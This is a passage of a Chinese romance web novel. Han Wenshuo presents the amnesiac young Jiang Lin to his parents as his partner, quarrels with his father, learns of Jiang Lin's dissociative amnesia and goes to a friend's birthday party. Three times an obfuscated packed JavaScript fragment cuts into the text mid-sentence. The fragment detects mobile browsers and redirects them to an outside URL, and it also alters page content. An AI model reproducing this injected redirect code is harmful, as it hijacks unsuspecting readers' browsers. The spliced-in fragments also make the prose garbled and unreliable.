韩闻烁被气得够呛,他叫小林帮他紧急抢救了下,虽然刚染上,上色不深,可还是能看出来一点。 他洗净染发膏,头顶裹上毛巾,揪着江临的耳朵拽着他上了二楼。 “进去!”他把江临推进一个隔间里。 “死小子,你想气死我还是怎么——”他扬起手,可还是犹豫了下,到底打哪儿好呢? 就在他犹豫时,江临按住他的手,凑过去在他唇上轻轻吻了下。 “哥,我错了,别生气了。” 韩闻烁:“……” 跟他玩伸手不打笑脸人是吧? 他咬咬牙,把江临拎到角落里,“别跟我来这套,给我站这儿!” 罚站,江临自知有错,就听话地站着了。 小林敲门进来,观察了下屋里的气氛,轻声问,“老板,现在怎么办啊?” 韩闻烁气呼呼的,“算了,漂了吧,重新染,染个灰的。” 他一屁股又坐在椅子上,从镜子里盯着江临。真不知道这死小子怎么想的,敢给他整个绿头发,什么意思?意思是他去相亲就是绿了他了? 真他妈服了。 什么脑回路? “老板,其实我有个办法。”小林边重新给韩闻烁上色,边说,“你要是真不想再去相亲……就带个人回家呗。” 韩闻烁无奈道,“我倒是想,我领谁回去啊?” “租一个呗。”小林说,“现在网上不是有好多租男女朋友回家过年的?” 韩闻烁琢磨了下,好像是个办法。 “而且最好租个男生带回去。”小林说,“咱老中人都讲究中庸,你不相亲爸妈肯定生气,但你要是说你在和男生谈恋爱,他们肯定觉得你还是别结婚的好。” 听到这儿,韩闻烁眼睛转了下。 他知道他爸妈传统,就算如今同性婚姻合法了,他们也接受不了。上次说他就算带个男的回去也行,是被逼到气头上的气话。 可现在……他倒还真有个合适的人选。 “过来。”他从镜子里朝江临勾了勾手。 他指着江临,对小林道,“给他染个跟我一样的。” 8. 第 8 章 第二天,早上九点,韩闻烁驱车到烤肉店,进门就把江临扔给店长,“新招的小孩,当临时工,你教他吧,多给他点活干。” 店里正在做开门前的准备工作,沈嘉琪一见江临,立刻认了出来,“哦!你是那天那个帅哥!” 她喜滋滋的,她就说吧,这小帅哥肯定是老板领回来加入他们的。今天再一见,果然精神了很多,身上没有伤了,衣服也干干净净的。 “我还有事儿,先走了啊。”韩闻烁跟店长说,“有什么情况发我微信。” “好嘞,放心吧韩哥。” 见江临一直用不舍的眼神盯着他,韩闻烁抬手呼噜了把他脑袋,“老实点,别惹事。” 直到韩闻烁出了门上了车,江临才收回视线。 其实他巴不得今天跟着韩闻烁一起去相亲,可韩闻烁不让。 他默默叹了口气。 “呃……怎么称呼啊?”店长奇怪地看看他,开口问。 “江临。” 一旁的沈嘉琪跟着问,“你多大啦?” 江临:“十八。” “你上大学呢吗?”店长又问。 江临摇摇头。 沈嘉琪又问,“你和韩哥怎么认识哒?” 江临:“……” 他很想和他们说是在床上,但出于对韩闻烁的占有欲,他没出声。 “哎呀没事的,我们这里每个人都是和韩哥那么认识的。”沈嘉琪笑得很灿烂。 江临:? 他眉间微动,正欲开口询问,又听到女孩说,“每个人都有不如意的时候,难过的日子过一过就会过去啦,你不用不好意思。” 江临更困惑了。 沈嘉琪拍着胸脯说,“我就是有一天蹲在校门口哭的时候遇到老板的,你呢?” 江临:“……” 一旁的店长拍拍他的肩,解释道,“确实,店里的员工都是多多少少遇到困难才来这里工作的,韩哥算是接济我们,经常给大家预支工资,你有什么困难不用不好意思开口,说出来,大家都会帮你。” 江临眨眨眼,反应了会儿。 原来韩闻烁这么善心大发的吗?大家口中的韩闻烁怎么和成天骂他的那个韩闻烁一点也不一样。 “那个……”他慢半拍地开口,“我其实……失忆了。” “失忆?!”沈嘉琪喊出声。 江临点头。 “我去……”沈嘉琪震惊了。 一瞬间老板在她心中的形象更伟岸了。 “那你还能……”店长试探着问,“工作吗?” 江临又点头。 “行吧。”店长模样有点为难,“过来给你介绍店里其他人。” 大家都对这个新来的失忆小帅哥很好奇,但奈何失忆小帅哥不太爱说话,打招呼就停留在一句“你好”。 互相认识过后,店长支开大家去干活,把江临单独领到一张桌子前。 “像这样把肉平摊开,每面烤五秒再翻面,来回三遍就可以卷起来给客人了。”店长手把手地教江临,给他演示怎么接待客人,“过程中尽量不要和客人对视,客人有需要你再说话。” 他把夹子递给江临,“喏,你试试。” 江临一言不发地接过来,照做。 店长在一旁抱着肩膀看他,时不时摇摇头又点点头。老板领回来的这小孩动手能力倒是不错,可就是……像个哑巴。 这样的怎么做服务员呢? 要不安排去后厨洗盘子?可是这张脸就浪费了啊。 他拿不定主意,只好给老板发消息:「韩哥,这小孩不太爱说话啊,我看做服务员是够呛,我让他去后厨行吗?」 韩闻烁隔了一分钟才回:「行,你随便安排,让他越累越好,最好累到下班根本动不了的那种。」 店长:“……” 韩闻烁收起手机,又抬头跟对面的女孩赔笑,“不好意思,工作消息,回一下。” 女孩也礼貌性地跟他微笑,“我看资料上写,你在叔叔那里工作是吧?负责过几个项目的?” 韩闻烁:? 片刻,他了然地一笑。 果然,为了不显得他是个纨绔子弟,他爹又给他胡编乱造了。 这下好办了。 韩闻烁眯起眼睛笑得温和,“没啊,我不在我爸那儿干。” 女孩听起来更满意了,“啊,那你是自己开了公司?” “对。”韩闻烁喝了口茶,如实说,“开了几家小店,什么理发店烤肉店酒吧啊,人生短短几十年,爱干点什么干点什么呗。” 女孩:“……” 一天过去,韩闻烁感觉自己的脸都快笑麻了,咖啡和茶也要喝吐了。 终于结束最后一场,刚出餐厅走了没几步,韩建坤的电话就打过来了。 韩闻烁在路边站定,犹豫几秒还是接了。 “谁让你跟人家胡说八道的!”韩建坤一声吼过来,韩闻烁很有预见性地把手机拿远了些。 “到底是谁胡说八道啊。”韩闻烁不服,“明明是你先在我资料上乱写,我说点实话还怪我吗?” “我不那么跟人家说,能有女孩乐意跟你相亲吗!”韩建坤骂他,“你个兔崽子,非要气死你爹是不是!” 韩闻烁又把手机拿远了点。 “哎哎哎,先别气别气。”他说,“明天没事儿吧,在家等我,我给你们领个人回去。” 韩建坤问,“什么人?” 韩闻烁笑了声,“领回家的能是什么人?我对象呗。” 韩建坤半信半疑,“你有对象了?什么时候的事?怎么不跟家里说?哪家的姑娘?” “明天你见了就知道了。”韩闻烁干脆地挂下电话。 怼了他爸两句,他心情不错,觉得这一天的苦总算没白挨。他几步上车,发动车子往店里开。一天了,去看看江临干得怎么样。 晚上七点多,店里生意还算不错。韩闻烁进门,隔着透明玻璃就看见后厨里的江临了。 他单手撑住墙壁,看了几秒,忍不住笑了声。 真洗碗呢。 他转头跟店长打招呼,“忙不忙?小江我带走了啊,找他有事。” “哦行行,忙得过来。”店长忙完客人,回身往后厨走,“我叫他去。” 江临解了围裙走出来,绷了一整天的脸终于变得柔和几分。 “忙完了?”他问韩闻烁。 “嗯。”韩闻烁点头,“跟我去个地方。” 他直接拽过江临的手,回身跟店长挥手,“走了啊,改天再带他来。” 留下店长一脸纳闷地呆在原地,“什么关系啊?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285876|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪儿?”江临跟着韩闻烁上了车,问,“回家吗?” “不是,去商场。”韩闻烁说,“给你买几套衣服。” “上次不是买过了?”江临问。 他刚住进韩闻烁家里那两天,韩闻烁给他买了不少衣服。 韩闻烁边向左打方向盘,边说,“上次那些不行,得给你打扮打扮。” 江临不解,“为什么?” “明天带你去见我爸妈。”韩闻烁说,“给你整帅点。” 江临一瞬间眼睛亮了,脸上露出些喜色,“真的?” 韩闻烁嗯嗯地应着,“你可得给我好好表现啊,别给我丢脸。” 江临伸长了脖子,凑过去在韩闻烁脸颊上亲了一口。 “哎!”韩闻烁抬手抹了把脸,“干嘛你,开车呢。” 江临很高兴,“谢谢哥。” 在他眼里,这意味着韩闻烁终于接受了他。 韩闻烁起了一身鸡皮疙瘩,转开话题,“你今天在店里干嘛了?” “学怎么烤肉,还有……洗碗。”江临如实说。 韩闻烁笑了声,问,“怎么样,累不累?” “还好。” 江临又问,“店里的人,都算是你的帮扶对象吗?” 韩闻烁意外道,“你怎么知道的?” “大家跟我说的。” “哦,算是吧。”韩闻烁目视前方开车,“大家过日子都不容易,找工作也不容易,我这儿刚好有位置,就给他们提供份工作呗,总能够他们养家糊口。” “其实店里不需要那么多人。”江临提醒他。 通过他今天的观察,其实每个人的工作量算不上饱和,招待客人绰绰有余。这样看来,虽然店里生意还不错,但人员开销也很大。 韩闻烁不太在意地哦了一声,“我知道。” “那……” 韩闻烁耸耸肩,“我都把他们招来了,总不能说辞退就辞退吧,让他们上哪儿吃饭去?” 江临没再说下去。 到了商场,韩闻烁没把江临往气质西装男那方面打扮,既然才十八岁,就当是个大学生,打扮得学生气一点。 他给江临买了球鞋,打底,帽衫,夹克,又按他的审美配上项链戒指一大堆,再加上新染的灰头发,两个小时后,他把江临大变身,活脱脱潮男一个。 第二天一早,韩闻烁领着江临回家,进门前嘱咐他不要乱说话,看他眼色行事,江临都一一应下了,他也希望自己能给韩闻烁父母留下个好印象。 听说儿子要带对象回家,韩建坤和荣芸老两口高兴得不得了,这可是破天荒头一回,从昨晚就张罗起家里上上下下的人准备招待客人,不能在礼节这方面差事。 韩建坤和荣芸穿得板正,就坐在一楼客厅里等人。听到门外有动静,立刻起身迎了上去。 韩闻烁推开门,拽着江临进门,“爸,妈,我带人回来了。” 他把江临往前一推,江临对着面前的二位欠了欠身,稍显紧张。 “……” “……” 韩建坤沉默,荣芸也跟着沉默。 江临更不知道说什么好。 韩闻烁无语,三人在这儿演默剧呢。 他又推了江临一把,“说话啊,叫人。” 江临开口,“爸,妈。” 9. 第 9 章 韩闻烁想骂骂不出来。 谁让他叫爸妈了!!! 韩建坤立刻甩下脸转身,极为严肃地叫韩闻烁大名,“韩闻烁,你跟我过来!” 江临下意识看了韩闻烁一眼,眼神里透出来的不安忽然叫韩闻烁觉得有点对不起他。 韩闻烁安抚性地拍了下江临的手,低声对他道,“我去一下就来,没事。” 他快步跟上去,就剩下荣芸和江临在这儿大眼瞪小眼。 荣芸进也不是退也不是,纠结半晌叫江临过去坐了。 “张姐。”她朝里面招呼,“把准备好的水果拿上来吧。” 虽然儿子带回来的人有些超出他们想象,但总归还是要招待的。 韩闻烁一步一步跟在韩建坤后面,进了书房,韩建坤不客气地叫他把门关上。 韩闻烁有了些心理准备,但门关上的瞬间,他还是被这小老头的一声吼吓了一跳。 “你是不是故意的!”韩建坤拍着桌子呵斥他,“让你相亲你不乐意,就故意气我和你妈!” 韩闻烁忍了忍,没忍住,反呛回去,“怎么就是我故意的了?不是你们让我带对象回来的?我带了,你们还不满意?而且你之前也说了,只要带对象回来,是男是女都行。” “你——”韩建坤手指着他,一时半会儿没说出话来。 半晌,韩建坤甩下手,气得背过身去,“我和你妈不可能同意!” 韩闻烁更不干了,为自己辩争道,“我这是正经谈恋爱,你们不同意也没用。” 他顶了下腮,终于说回正题上,“反正你现在看到我有对象了,以后再叫我去相亲我可不去。” 他话音刚落,就眼见着韩建坤快步向他走来,气势汹汹地扬起右手,“你胡闹!” “哎哎哎!”韩闻烁当即大叫,“你打我我可告诉我妈!” 韩建坤顿了顿,愤愤地甩下手,“我不管你谈什么恋爱,我和你妈都要抱个孙子孙女回来!我培养你培养不成,我培养下一代还不行吗!” 他涨红着脸,气急败坏道,“你说说你,从小到大我和你妈对你还不够睁一只眼闭一只眼吗!你喜欢赛车,好,玩就玩了,改车,比赛,花进去几千万,玩到最后怎么样了?你差点把命搭进去!” 韩闻烁垂下眼,没吭声。 “我和你妈辛辛苦苦打拼出来的家业容易吗!我们不指望你有什么大出息,就过个该有的人生不行吗?老老实实继承家业,结婚生子,我们是能害死你还是怎么的!” 韩闻烁沉默着吞咽,咬住下嘴唇里的肉,尽力忍耐着,让自己的声音听起来平静。 他自嘲似的扯起嘴角,“爸,我都这么废物了,咱就别培养下一代了吧,万一比我还不听话呢。” “还有,都过去多少年了还提我比赛的事儿,要我说得难听吗?出事儿的时候你们不是挺庆幸的吗?要不然我也不会乖乖去读书是吧?”他稍有哽咽,才顿了顿,“至于继承家业……我真的不喜欢,你们别逼我了。” 他说完,转身便离开。 韩建坤在他身后摔碎了一个烟灰缸,“你现在还能干成什么!趁早把你那些店给我关了,回公司上班来!” 他快步下楼,面色凝重地走向客厅,果然,这儿的气氛也不怎么好,荣芸和江临拘谨地坐着,一句话也没有。 韩闻烁是真后悔带江临来了。 见韩闻烁过来,荣芸起身问他,“怎么了?又和你爸吵起来了?你俩有话就不能好好说吗?脾气一个比一个大。” “好不好好说都那样。”韩闻烁拽起江临就往外走,“我们先走了。” 荣芸追在身后叫他,“诶,午饭都做好了,吃一口再走吧?” “不吃了。”韩闻烁说,“大家都没胃口,改天再回来。” 出了家门,韩闻烁把江临塞到车里,径直开出院子。一路沉默无话,直到韩闻烁把车开到一处空旷的路边停下,从口袋里拿了支烟点上。 “我妈没为难你吧?”他问江临。 江临摇了摇头,“没有,就是……没怎么说话。” 韩闻烁嗯了一声,吐出口烟气,“不带你回家好了。” 他朝江临看过去,抬手揉了把他脑袋,“抱歉啊,平白无故让你跟着我受委屈。” “哥。”江临眨眼看他,“那你受委屈了吗?” “……”韩闻烁一瞬间沉默,烟叼在嘴里当了会儿摆设。 “没有。”他笑了声,“怎么可能呢?我多皮糙肉厚死皮赖脸,能受什么委屈?倒是你,一看就脸皮薄。” 他笑得欠欠的,去掐江临的脸颊,“多说你两句就又要哭了吧?” 江临拨开他的手,“我没事。” “是你爸妈不喜欢我吗?” “……”韩闻烁缓了口气,吐出烟圈来,“跟你没关系,他们是对我不满意。” 不满意他不听话,不满意他们这么多年费力修理,他却还是长成了颗歪歪扭扭的树,没变成他们理想中的继承人。 他也有过心气儿足得觉得自己能干翻全世界的时候,可惜偏偏天不遂他愿,把他一脚踹回谷底。 能活成现在这样,他都觉得自己已经尽力了。 韩闻烁心烦地啧了一声。 刚硬气不过半小时,他又觉得自己刚才话说重了。他刚在气头上,就什么都敢往外说。万一把他爸气到不给他打一分钱,那苏哲的医药费怎么办…… 他叹口气,重新启动车子。 “你表现不错。”他对江临道,“走,哥请你吃好吃的去。” 他又多看江临两眼说,“这头发颜色不适合你,还是黑发好看,明天领你染回去。” 江临淡淡应了一声,也似有心事地瞥开视线。 突然,一阵剧烈的痛感贯穿他的大脑,伴随着尖锐的耳鸣,令他痛苦地蜷缩起身子。 韩闻烁还未察觉,他转头过来,语气轻快地问,“你想吃什——” “江临?!”韩闻烁心下一颤,用力去晃江临的肩膀,“喂,你怎么了!说话啊!” 可江临似乎根本无法回应他。 韩闻烁惊慌失色,一脚油门踩到底,“你撑住啊,我带你去医院!” 等韩闻烁一路狂飙赶到医院,江临的疼痛已经缓了过去。站在医院门口,他拉住韩闻烁不肯往里走,“哥,我没事了,不用看。” “说什么屁话呢,必须得看病。”韩闻烁拽着他就要进去,但压根没拽动。 韩闻烁:“……” 江临:“真不用了,我们去吃饭吧。” 他露出一副可怜的神情,“我饿了。” 韩闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285877|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁微微皱眉。 “给你买新衣服。”他跟江临开条件。 江临不说话。 “买新球鞋。” 江临不为所动。 “你想买什么买什么,什么都行。” 江临还是不为所动。 韩闻烁没招了。 他咬咬牙,上前一步在江临耳旁说,“让你做总行了吧。” 江临立刻扯着他往大厅走,“走吧。” 韩闻烁:“……” 死小子!!! 辗转了几个科室,做了一堆检查后,最后他们被推到精神科来。 “解离性失忆症?”听完医生的诊断,韩闻烁不自觉地跟着重复了遍,问,“什么意思?” “在没有脑损伤的情况下出现记忆丧失,通常是因为一些重大打击,比如亲人离世,重大灾难,情感冲击,巨大的压力等等。”医生说着,稍稍停顿,看向江临,“而大脑为了免受痛苦,就会启动这种防御机制,总得来说,是一种心理障碍。” 江临听完没什么反应,反倒是韩闻烁呆了又呆。 因为……重大打击? 他不免回想起和江临初见时对方的样子,惨兮兮的,浑身上下都是伤,难道,就是因为这个? “那,这种情况应该怎么办呢?”韩闻烁急切地问。 “目前其实没什么太好的治疗方法,持续的心理治疗,辅助一些药物,最好再给他稳定的生活环境,需要很长的一段时间来恢复。”医生说完就转过去对着电脑开单子,“我给你开一些药,记得按时服用,再定期来我这里复诊。” “好。”韩闻烁点头,“谢谢医生。” 等拿了药回来,韩闻烁又被大夫叫进去单独说话。 “除了我刚才说的这些,你平时在生活着还要多注意一些。”医生给他推了张纸过来,“上面都是解离失忆的患者可能出现的一些症状,比如情感认知清零,时间感知混乱等等,这种时候不要太慌张,也不要给他施加压力,试着引导他重复熟悉的事情,在安全的环境里他会逐步恢复记忆。” 韩闻烁看着长长地一串清单,皱着眉点了点头,“好,我知道了。” 他折好纸条放进衣服口袋里,出了诊室,江临抬头问他,“医生说什么?” “没什么。”韩闻烁说,“让我给你多吃点好的,补脑子。” 江临轻轻笑了下,“那走吧。” “哥刚才说要带我吃好吃的,还算数吗?” “当然了,走。”韩闻烁犹豫了下,还是牵起了江临的手。 不牵着咋办呢?他在心里嘀咕,一会儿丢了就糟糕了。 走到停车场,韩闻烁发现自己的车被前面一辆违规停下的车挡得死死的,他根本开不出去。 他上前去看车主的联系方式,偏偏还没有。 倒霉催的。 “你在这儿等我一下啊。”他跟江临说,“我去前面跟保安说一声。” 江临点点头。 几步的路,两分钟后,韩闻烁走回来,“上车吧,保安认识停车的人,已经去叫他了,马上就来。” 可江临没反应,呆呆地站在原地。 韩闻烁又叫了他一声,“喂,听到没——” 江临眨了眨眼,问他,“请问……我认识你吗?” 10. 第 10 章 韩闻烁怔了好几秒。 “你说什么呢?”他反应过来,手指着江临警告他,“别跟我演戏啊江临,快点上车。” 可江临仍旧迷茫地看着他,没有要动的意思。 “……”韩闻烁彻底傻眼了。 他这下明白医生跟他嘱咐的那些症状有什么用了。 情感认知归零是吧…… 半晌,他叉起腰来无奈地沉了口气,道,“是,我认识你,我们……我们是朋友。现在你生病了,跟我回家好吗?” 江临还是不说话。 韩闻烁没招了,举起手来跟他发誓,“你放心,我不会害你的。” 江临这才犹豫着抬起手,开了车门。 韩闻烁径直将车开回了家,现在这种情况,他是没办法再带江临出门了。一路上,他试着问了江临很多问题,可江临一个都回答不上来,和他们刚见面时的情形一样,更糟的是现在还把他忘了。 韩闻烁琢磨起医生嘱咐过的话。 遇到这种情况不要慌,要引导他在安全的环境里重复熟悉的事。 熟悉的事? 韩闻烁对江临了解不多,在脑子里转了一百八十个弯,也只想到一件。 操。 真服了。 一进家门,韩闻烁把江临推到墙上吻,江临像是被吓了一跳,别过头去,警惕地看他,“你干什么?” 韩闻烁啧了一声,把他的脸掰过来,“亲你啊,别装了,平时我要这样你小子早高兴坏了。” 他说完,又掰着江临的下巴亲了上去。 偏偏江临不干,又推开他,胳膊支在胸前,把他们隔出半米远的距离。 韩闻烁就不明白了,这小子再怎么失忆,这力气还真是没变过哈。 “你别推我。”韩闻烁急道,“哥给你治病呢。” 江临一脸严肃道,“你说我们是朋友,朋友之间不应该这样。” 韩闻烁大大咧咧地点头,“是朋友啊,炮友也是朋友。” 他反问江临,“你还需要我给你解释一下炮友是什么意思吗?” 江临没说话,可抵住韩闻烁的力道却放轻了。 韩闻烁知道他放松了戒备,轻轻一笑,又凑近含住他嘴唇,“偷着乐吧你就。” 他边亲边推着江临往屋里走,坐到沙发上,他跨坐在江临身上,手就往衣服里摸了进去。 江临闭着眼,完全凭下意识的本能去做反应。他什么都不记得,也不认识眼前这个人,可这人身上的味道他好喜欢,让他感到熟悉,安全,想拥有。 他蹭到韩闻烁脖颈去吻去咬,韩闻烁忍着痛拍了下他脑袋,却没有要推开他的意思。 “二次失忆也改不了咬脖子的毛病,真服了。” 韩闻烁也不甘示弱,手伸下去解江临的裤子。 这裤子还是他给买的呢!结果这小子转脸就不认人了。 想到这儿,他隔着裤子用劲揉了一把。 江临嘶了口气,咬他的力道更重了。 韩闻烁揪他头发抗议,“你他妈轻点,我不想再贴创可贴了。” 江临抵在他颈侧重重地呼吸,情迷意乱时又寻到韩闻烁的嘴唇去吻。一切都那么自然而然地发生,仿佛他已经重复过这样的动作几百遍。 亲吻之间,江临喃喃出声,“哥……” 韩闻烁迷迷糊糊地应着,恍然之间觉出哪里不对劲,他猛地推开江临,“你——” “你记起来了?”他难以置信。 江临反应了几秒,缓缓点了点头。 “……我,我不知道自己怎么了。”他垂下眼,却难掩眉目中的无措。 就像他突然从这个世界中抽离开,无目的地游荡在世界之外。 是韩闻烁将他拽了回来。 韩闻烁终于把心放回肚子里,他拍拍江临的肩,作势要起身,“吓死我了,你没事就好,饿了吧,我订个——” 他被江临猛地按了回来。 “不许走。” 江临强势地锢住他的腰。 “哥不是打算要和我上床吗?”江临眼睛里擒起笑意,“不要半途而废。” “我什么时候——”韩闻烁急了,“我那是为了给你治病!” 他用力推江临却推不开,他就像被死死钉在江临身上一样,“我治病救人好吗!很高尚的,谁要跟你上——” 江临堵住他的嘴,抱起他往卧室走。 - 周五,韩闻烁名为视察工作,实则馋烤肉了坐店里吃几口。他叫了江临过来给他服务,本来准备挑刺的,但江临伺候一番下来,他竟然还真挑不出什么毛病。 江临把烤好的肉片都夹到他盘子里,低声道,“我去招待其他客人了。” 韩闻烁抬腿拦住他,扬眉问,“流程里有这一步吗?” 按操作流程来说,服务生把肉夹到公用盘子里就可以了。 “没有。”江临说。 “那你——” “特殊服务。” 韩闻烁:“……” 他收回腿放江临走,“滚。” “等下。”他又叫住江临,“帮我叫店长来。” “好。” 过了两分钟,李文杰小跑着过来了,“老板。” “文杰,你有空把这季度店里的账发我呗。” “哦。”李文杰从围裙口袋里掏出手机,“我这就转给你,会计发来的账我都存着呢。” “好。”韩闻烁点头,“没事了,忙去吧。” 他边吃肉边点开报表看,看着看着就皱起了眉。店里的开销比他想象中还要大,虽然营业额也不少,但落到利润上就……几乎为零。 原本他就是靠家里给的钱养自己,根本不指望这几家店能挣钱,但上次问家里要的钱并没有打到他卡里,看来他爸是真生气了。 韩闻烁叹口气,把手机扔下。 真是自作孽,不可活啊。 但手头上的钱还够他撑一段时间,他的准则向来是不到黄河不死心,既然还能撑一段时间,就足够他再跟他爸硬气一阵。说不定撑过这一阵,他爸妈就能想开了。 他摸摸脑袋,自言自语地琢磨,“要不这几个月少花点吧?” 正当他在没钱的苦恼和相亲的痛苦中抉择时,手机忽然疯了似的接连震动起来。 屏幕上弹出一串消息提醒。 韩闻烁皱了皱眉,又拿起手机,“搞什么?” 这一看,他一下愣住了。 名为“生日趴体必须都得来”的群里,十几个人挨个艾特他。 「人呢?」 「来不来啊?」 「出来!」 「大忙人,忙呢呗。」 「迟到十分钟自罚三杯,你自己算吧。」 “我操。”韩闻烁一拍脑门。 这几天他光忙江临的事,竟然又把方越过生日的事儿忘了。 他抓起衣服就往外走,边给群里回消息:「在路上,有点堵车,马上到。」 一个人影忽然挡在他面前,“上哪儿去?” 韩闻烁知道是江临,头也不抬道,“朋友聚会,过生日,别挡路,我迟到了。” 江临垂眼去看他手机屏幕上的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285878|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 串消息,又问,“什么时候回家?男生还是女生过生日?都有谁?” “男的。”韩闻烁回完消息,把手机揣回兜里,“都是朋友,男的女的都有,不知道什么回去。” 他向左迈一步,江临就跟着他往左挪一步,挡住他。 “啧。”韩闻烁略有不耐烦,“我迟到罚酒你帮我喝啊?” 另一头李文杰在叫江临过去招呼客人了,江临不得已让开一步,最后叮嘱韩闻烁,“早点回来。” 韩闻烁看看他,想说些什么还是压下去了。 这小子现在真是越管越多了,真把自己当主人了。 …… 韩闻烁迟了半个多小时才到餐厅,一推门,就有人喊了一声,“迟到整整三十五分钟!罚酒啊,给你算十杯吧。” 韩闻烁走上前,把衣服搭在椅背上,直接端起桌上的酒杯一饮而尽,笑笑道,“别那么过分啊,喝三杯意思一下得了。” 大家都是认识多年的朋友,说说笑笑一会儿迟到的事情也就过去了。 魏杰端着酒杯绕过大半个桌子来和韩闻烁打招呼,韩闻烁一见他才想起来,同他碰了下杯问,“对了,那天在你那儿喝酒,我怎么喝那么多?” “哦那天啊。”魏杰回忆了下,说,“你念叨着什么不想相亲的,就多喝了几杯啊。” “然后呢?”韩闻烁又问,“有人和我来搭话吗?” 他特意提醒魏杰,“男的。” 魏杰想了想,摇头,“没啊,男的跟你搭讪干什么?你喝多了我说找人送你回去,你非说不用就自己走了。” “那我走的时候还清醒吗?” “还行吧。”魏杰说,“走路有点晃,但还能自己走啊。” “哦哦哦。”魏杰想起什么,又说,“你走的时候还顺了我一瓶伏特加。” 他怼了韩闻烁一下,开玩笑道,“记得还钱啊。” 韩闻烁切了一声,翘起二郎腿,“下次你去我那儿喝酒,怎么喝都不收钱行了吧。” “太行了。”魏杰跟他碰杯,“来来来,喝酒。” 在饭店吃完喝完,他们又转场去了方越家名下的KTV,一群人又唱又跳,热闹得很。 韩闻烁坐在沙发一角喝酒,看到手机上忽然弹出来一条消息。 是江临。 「什么时候回来?」 才九点半,对他们这群人来说,夜场还不算开始。 韩闻烁动动手指回:「早呢。」 他回完消息,把手机放到一旁,接着和方越喝酒。 “最近又新谈女朋友了吗?”方越问,“听我妹说你又开了家酒吧?” “没谈。”韩闻烁点了支烟,“忙着相亲呢。” “你呢?忙什么呢?” “公司里的事情多。” 他们说话间,韩闻烁的手机又亮了。 他再度拿起来,一看又是江临,还是那句话:「什么时候回来?」 韩闻烁皱了皱眉,不太理解。 明明距离江临上一次发消息问他,才过去三分钟。 他回:「起码过两个小时吧。」 “公司那么忙么?”他转头继续和方越聊天,“你爸呢?” “和我妈度假去了呗,说要享受人生。” 聊了没两句话,韩闻烁手机又在震动。 方越笑了声,“还说没谈女朋友?不是查岗?还这么严。” “真不是。”韩闻烁再度拿起手机,竟然还是江临。 「什么时候回来?」 韩闻烁耐不住脾气了,回过去两个字:「有病?」 11. 第 11 章 紧接着,江临的电话打了进来。 他给的备注是“狗”。 方越瞥见忍不住挡住嘴笑,打趣他,“玩得这么花?” 韩闻烁啧了一声,正要辩解,被方越推了一把,“快出去接电话吧,别让人等急了。” 韩闻烁无奈,拿着手机往包间外走。 KTV里到处都很吵,韩闻烁往外走了一段,走到大厅才把电话接起来。 还没等他问江临到底发什么疯,江临却语气不善,对他先发制人,“不想回来了是吗?” 气得韩闻烁在原地转了个圈,“你发神经啊!” “说了晚点,追着发消息什么意思!非逼着我现在就回家?” 江临声音低下来,“我没有。” “没有个屁!” 韩闻烁警告他,“别再催命似的给我发消息,老实在家待着,我这边结束自然就回去了。” 他说完,直接挂断了电话。 江临听到截然而止的话音,迟缓了几秒,才将手机从耳边拿开。 房间里没开灯,手机屏幕的光亮刺激,晃得他有几分眩晕。 为什么不回来? 为什么不要他? 他已经在克制了,他没有催命一样的给韩闻烁发消息,他明明……隔了好几个小时才问一次。 为什么嫌弃他? 江临蜷缩在沙发上,浑身打了个寒颤,将自己抱紧。 韩闻烁回到包间,以免江临再打电话来烦他,直接把手机按了关机。 他不明白江临为什么催那么紧。出来和朋友聚会喝个酒而已,催什么? 再退一步说,江临有什么资格催他回家? 韩闻烁气儿不顺,坐回沙发上猛灌了一口酒,结果还被呛着了。 方越边笑边拍他的背给他顺气,“怎么了这是?没谈妥,跟对象吵架了?” “屁的对象。”韩闻烁瞪了他一眼,“别乱说,不是。” “好好好,不是对象,你说不是就不是。”方越举起手跟他表示歉意,“不提了,喝酒。” 晚上十一点多,一行人在KTV玩得不尽兴又转场去了夜店。反正整场都由方越这个寿星买单,大家喝得尽兴,跳得也尽兴。 凌晨两点,韩闻烁喝得醉醺醺的,被魏杰送回家。 “慢点啊,别摔了。”魏杰一手扶着韩闻烁,一手去摸墙上的开关,问他,“灯在哪儿呢?” “我没事儿,不用扶我。”韩闻烁试图站稳,又指挥魏杰,“右边墙上,你摸一下。” 魏杰往右迈了一步,不想脚下踢着个什么东西,被绊了一跤,“哎哟我——” 他撑住墙,误打误撞地开了灯。 “卧槽!”灯一亮,魏杰被吓一激灵,“这儿怎么还有一人啊!” 男生正坐在地上,扬起头,漆黑的眼睛盯着他,像在看什么入侵者。 魏杰拍拍韩闻烁,小声问,“诶,这……谁啊?” 韩闻烁视线顺着往下看去,随即无语道,“你坐这儿干什么?看门啊?” “等你。”江临说。 